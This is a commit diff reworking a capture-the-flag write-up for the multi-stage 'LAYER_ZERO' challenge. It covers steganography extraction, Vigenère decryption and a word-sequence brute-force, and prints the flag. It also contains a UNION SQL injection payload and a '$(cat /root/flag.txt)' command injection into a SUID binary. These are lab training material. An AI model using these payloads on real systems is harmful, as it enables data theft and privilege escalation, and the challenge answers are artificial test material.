write-up: Misc/LAYER_ZERO/README.md
This commit is contained in:
parent
ea3dbeb5a6
commit
77e64f344f
@ -1,25 +1,77 @@
|
|||||||
# LAYER_ZERO — Solution
|
# LAYER_ZERO
|
||||||
|
|
||||||
**Difficulty:** Hard | **Category:** Misc | **Flag:** `ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
|
| Field | Value |
|
||||||
|
|-------|-------|
|
||||||
|
| Category | Misc |
|
||||||
|
| Difficulty | Hard |
|
||||||
|
| Points | 600 |
|
||||||
|
| Author | espilon |
|
||||||
|
| CTF | Espilon 2026 |
|
||||||
|
|
||||||
## Overview
|
---
|
||||||
|
|
||||||
Multi-stage challenge. Four sealed channels must be unlocked in sequence.
|
## Description
|
||||||
Each channel produces a token; submit all four to `LAYER_GOD` to unlock a
|
|
||||||
SUID binary that reveals the flag.
|
*"No matter where you go, everyone's connected."*
|
||||||
|
|
||||||
|
A signal has been detected deep in the AETHER_NET. The Knights of the Eastern Calculus
|
||||||
|
sealed four channels when Eiri Masami ascended. Each holds a fragment of Protocol Seven.
|
||||||
|
|
||||||
|
Connect to the Wired. Read the Layers. Unlock the channels.
|
||||||
|
|
||||||
|
```
|
||||||
|
nc espilon.net 1337
|
||||||
|
```
|
||||||
|
|
||||||
|
Channels sealed:
|
||||||
|
- Layer 01 — CHANNEL_STATIC (she first connected in the static)
|
||||||
|
- Layer 03 — CHANNEL_KNIGHTS (the Knights speak in code)
|
||||||
|
- Layer 07 — CHANNEL_WIRED (she existed everywhere simultaneously)
|
||||||
|
- Layer 13 — CHANNEL_EIRI (he broadcast from beyond the Wired)
|
||||||
|
|
||||||
|
Difficulty: Hard | Multi-stage | Unique per instance
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## TL;DR
|
||||||
|
|
||||||
|
Four-stage multi-technique challenge: PNG filter-byte steganography (L01), SQL injection +
|
||||||
|
Vigenère decryption (L03), state-machine sequence brute-force (L07), and echo-hiding
|
||||||
|
audio steganography (L13). Collect four tokens, submit all to LAYER_GOD (port 6660), then
|
||||||
|
exploit a SUID binary via command injection to read the flag.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
| Tool | Purpose |
|
||||||
|
|------|---------|
|
||||||
|
| `nc` | All service connections |
|
||||||
|
| Python 3 + zlib + struct | PNG steganography extraction |
|
||||||
|
| `curl` | SQLi on CHANNEL_KNIGHTS |
|
||||||
|
| Python 3 + itertools | State machine brute-force |
|
||||||
|
| Python 3 + numpy | Echo hiding audio analysis |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Channel Summary
|
||||||
|
|
||||||
| Layer | Channel | Port | Technique |
|
| Layer | Channel | Port | Technique |
|
||||||
|-------|---------------|---------|-----------------------------|
|
|-------|---------|------|-----------|
|
||||||
| L01 | CHANNEL_STATIC | 4141/tcp | PNG filter-type steganography |
|
| L01 | CHANNEL_STATIC | 4141/tcp | PNG filter-type steganography |
|
||||||
| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher |
|
| L03 | CHANNEL_KNIGHTS | 8080/tcp | SQL injection + Vigenère cipher |
|
||||||
| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force |
|
| L07 | CHANNEL_WIRED | 4242/tcp | State machine sequence brute-force |
|
||||||
| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography |
|
| L13 | CHANNEL_EIRI | 9001/tcp | Echo hiding audio steganography |
|
||||||
| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit |
|
| GOD | LAYER_GOD | 6660/tcp | Ritual submission + SUID exploit |
|
||||||
|
|
||||||
## Layer 01 — CHANNEL_STATIC (PNG stego)
|
---
|
||||||
|
|
||||||
The PNG at `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the
|
## Solution
|
||||||
**filter type bytes** — the first byte of each scanline in the raw IDAT stream.
|
|
||||||
|
### Layer 01 — CHANNEL_STATIC (PNG steganography)
|
||||||
|
|
||||||
|
The file `/home/lain/CHANNEL_STATIC/lain_signal.png` hides data in the **filter type byte**
|
||||||
|
of each scanline in the raw IDAT stream.
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import struct, zlib
|
import struct, zlib
|
||||||
@ -27,6 +79,7 @@ import struct, zlib
|
|||||||
with open("lain_signal.png", "rb") as f:
|
with open("lain_signal.png", "rb") as f:
|
||||||
data = f.read()
|
data = f.read()
|
||||||
|
|
||||||
|
# Collect IDAT chunks
|
||||||
pos, idat = 8, b""
|
pos, idat = 8, b""
|
||||||
while pos < len(data):
|
while pos < len(data):
|
||||||
length = struct.unpack(">I", data[pos:pos+4])[0]
|
length = struct.unpack(">I", data[pos:pos+4])[0]
|
||||||
@ -36,10 +89,12 @@ while pos < len(data):
|
|||||||
pos += 12 + length
|
pos += 12 + length
|
||||||
|
|
||||||
raw = zlib.decompress(idat)
|
raw = zlib.decompress(idat)
|
||||||
row_size = 1 + 64 * 3 # 1 filter byte + 64×RGB pixels
|
row_size = 1 + 64 * 3 # 1 filter byte + 64 RGB pixels
|
||||||
|
|
||||||
# First 24 filter bytes encode 3 ASCII chars (8 bits each)
|
# First 24 filter bytes encode 3 ASCII chars (8 bits each)
|
||||||
bits = [raw[i * row_size] for i in range(24)]
|
bits = [raw[i * row_size] for i in range(24)]
|
||||||
decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3))
|
decoded = "".join(chr(int("".join(map(str, bits[i*8:(i+1)*8])), 2)) for i in range(3))
|
||||||
|
print(decoded)
|
||||||
```
|
```
|
||||||
|
|
||||||
Submit the decoded string:
|
Submit the decoded string:
|
||||||
@ -50,15 +105,19 @@ SUBMIT <decoded>
|
|||||||
|
|
||||||
Server responds with token `L01:xxxxxxxxxx`.
|
Server responds with token `L01:xxxxxxxxxx`.
|
||||||
|
|
||||||
## Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère)
|
> 📸 `[screenshot: Python script printing the 3-character steganographic code]`
|
||||||
|
|
||||||
The web service at port 8080 has a `/search?q=` endpoint vulnerable to UNION-based SQLi.
|
---
|
||||||
|
|
||||||
|
### Layer 03 — CHANNEL_KNIGHTS (SQLi + Vigenère)
|
||||||
|
|
||||||
|
UNION injection on the `/search?q=` endpoint:
|
||||||
|
|
||||||
```text
|
```text
|
||||||
/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members--
|
/search?q=' UNION SELECT id,alias,rank,access_code,status FROM members--
|
||||||
```
|
```
|
||||||
|
|
||||||
One row contains a Vigenère-encrypted access code. Decrypt it with key `KUDARANAI`:
|
One member row has a Vigenère-encrypted access code. Decrypt with key `KUDARANAI`:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
def vigenere_decrypt(text, key):
|
def vigenere_decrypt(text, key):
|
||||||
@ -71,37 +130,65 @@ def vigenere_decrypt(text, key):
|
|||||||
else:
|
else:
|
||||||
result.append(c)
|
result.append(c)
|
||||||
return "".join(result)
|
return "".join(result)
|
||||||
|
|
||||||
|
plaintext = vigenere_decrypt(encrypted_code, "KUDARANAI")
|
||||||
```
|
```
|
||||||
|
|
||||||
Submit the plaintext to `/submit?code=<plaintext>`.
|
Submit: `/submit?code=<plaintext>`
|
||||||
|
|
||||||
Server responds with token `L03:xxxxxxxxxx`.
|
Server responds with token `L03:xxxxxxxxxx`.
|
||||||
|
|
||||||
## Layer 07 — CHANNEL_WIRED (state machine)
|
> 📸 `[screenshot: web response returning the L03 token after submitting the decrypted code]`
|
||||||
|
|
||||||
The service at port 4242 expects a 4-word sequence. The first two are fixed:
|
---
|
||||||
`PRESENT_DAY`, `PRESENT_TIME`. Brute-force the last two from known word lists:
|
|
||||||
|
### Layer 07 — CHANNEL_WIRED (state machine brute-force)
|
||||||
|
|
||||||
|
The service expects a 4-word sequence. First two are fixed: `PRESENT_DAY`, `PRESENT_TIME`.
|
||||||
|
Brute-force the last two:
|
||||||
|
|
||||||
```python
|
```python
|
||||||
|
import socket, itertools
|
||||||
|
|
||||||
WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS",
|
WORD3 = ["NAVI_LAYER_07", "PROTOCOL_SEVEN", "WIRED_ACCESS",
|
||||||
"KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"]
|
"KNIGHTS_CODE", "EIRI_SYSTEM", "DEUS_NODE"]
|
||||||
WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"]
|
WORD4 = ["CONNECT", "DESCEND", "MERGE", "ASCEND", "RESONATE", "DISSOLVE"]
|
||||||
|
|
||||||
for w3, w4 in itertools.product(WORD3, WORD4):
|
for w3, w4 in itertools.product(WORD3, WORD4):
|
||||||
# try sequence: PRESENT_DAY → PRESENT_TIME → w3 → w4
|
with socket.create_connection((<host>, 4242)) as s:
|
||||||
|
s.sendall(b"PRESENT_DAY\n")
|
||||||
|
s.sendall(b"PRESENT_TIME\n")
|
||||||
|
s.sendall(f"{w3}\n".encode())
|
||||||
|
s.sendall(f"{w4}\n".encode())
|
||||||
|
resp = s.recv(1024).decode()
|
||||||
|
if "L07:" in resp:
|
||||||
|
print(f"Found: {w3} / {w4}")
|
||||||
|
print(resp)
|
||||||
|
break
|
||||||
```
|
```
|
||||||
|
|
||||||
Server responds with token `L07:xxxxxxxxxx` on success.
|
> 📸 `[screenshot: brute-force script finding the correct word pair and printing the L07 token]`
|
||||||
|
|
||||||
## Layer 13 — CHANNEL_EIRI (echo hiding)
|
---
|
||||||
|
|
||||||
The service at port 9001 streams 30 seconds of 16-bit mono PCM at 44100 Hz.
|
### Layer 13 — CHANNEL_EIRI (echo hiding)
|
||||||
Data is hidden via **echo hiding**: a 1-bit echo at delay `D1=200` (bit 1) or
|
|
||||||
`D0=100` (bit 0) is embedded in 1024-sample segments.
|
Stream 30 seconds of 16-bit mono PCM at 44100 Hz. Data is hidden via **echo hiding**:
|
||||||
|
each 1024-sample segment has a 1-bit echo at delay D1=200 samples (bit=1) or D0=100 samples (bit=0).
|
||||||
|
|
||||||
```python
|
```python
|
||||||
import numpy as np
|
import numpy as np
|
||||||
|
import socket
|
||||||
|
|
||||||
|
HOST = "<host>"
|
||||||
|
pcm_data = b""
|
||||||
|
with socket.create_connection((HOST, 9001)) as s:
|
||||||
|
while len(pcm_data) < 44100 * 30 * 2:
|
||||||
|
chunk = s.recv(4096)
|
||||||
|
if not chunk:
|
||||||
|
break
|
||||||
|
pcm_data += chunk
|
||||||
|
|
||||||
# After streaming and collecting pcm_data:
|
|
||||||
samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0
|
samples = np.frombuffer(pcm_data, dtype="<i2").astype(float) / 32767.0
|
||||||
|
|
||||||
SEG_SIZE, D0, D1 = 1024, 100, 200
|
SEG_SIZE, D0, D1 = 1024, 100, 200
|
||||||
@ -114,6 +201,7 @@ for i in range(N_CHARS * 8):
|
|||||||
bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0")
|
bits.append("1" if ac[mid + D1] > ac[mid + D0] else "0")
|
||||||
|
|
||||||
code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS))
|
code = "".join(chr(int("".join(bits[i*8:(i+1)*8]), 2)) for i in range(N_CHARS))
|
||||||
|
print(code)
|
||||||
```
|
```
|
||||||
|
|
||||||
Submit the decoded code:
|
Submit the decoded code:
|
||||||
@ -124,33 +212,35 @@ SUBMIT <code>
|
|||||||
|
|
||||||
Server responds with token `L13:xxxxxxxxxx`.
|
Server responds with token `L13:xxxxxxxxxx`.
|
||||||
|
|
||||||
## LAYER_GOD — Ritual + SUID exploit
|
> 📸 `[screenshot: autocorrelation peaks confirming echo delays and decoded token]`
|
||||||
|
|
||||||
Submit all four tokens to port 6660:
|
---
|
||||||
|
|
||||||
|
### LAYER_GOD — Ritual + SUID exploit
|
||||||
|
|
||||||
|
Submit all four tokens:
|
||||||
|
|
||||||
|
```bash
|
||||||
|
nc <host> 6660
|
||||||
|
```
|
||||||
|
|
||||||
```text
|
```text
|
||||||
RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx
|
RITUAL L01:xxxxxxxxxx L03:xxxxxxxxxx L07:xxxxxxxxxx L13:xxxxxxxxxx
|
||||||
```
|
```
|
||||||
|
|
||||||
On success, the SUID binary `/opt/protocol7/eiri_validator` is unlocked.
|
The SUID binary `/opt/protocol7/eiri_validator` is unlocked.
|
||||||
Exploit it via command injection — the binary calls `system()` with unsanitised input:
|
|
||||||
|
Exploit via command injection — the binary calls `system()` with unsanitised input:
|
||||||
|
|
||||||
```bash
|
```bash
|
||||||
/opt/protocol7/eiri_validator
|
/opt/protocol7/eiri_validator
|
||||||
# When prompted, enter:
|
|
||||||
$(cat /root/flag.txt)
|
$(cat /root/flag.txt)
|
||||||
```
|
```
|
||||||
|
|
||||||
## Automated Solver
|
> 📸 `[screenshot: eiri_validator printing the flag via command injection]`
|
||||||
|
|
||||||
```bash
|
---
|
||||||
python3 solve.py [host] [port]
|
|
||||||
```
|
|
||||||
|
|
||||||
## Flag
|
## Flag
|
||||||
|
|
||||||
`ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
|
`ESPILON{kn1ghts_0f_th3_w1r3d_pr0t0c0l7}`
|
||||||
|
|
||||||
## Author
|
|
||||||
|
|
||||||
Eun0us
|
|
||||||
|
|||||||
Loading…
Reference in New Issue
Block a user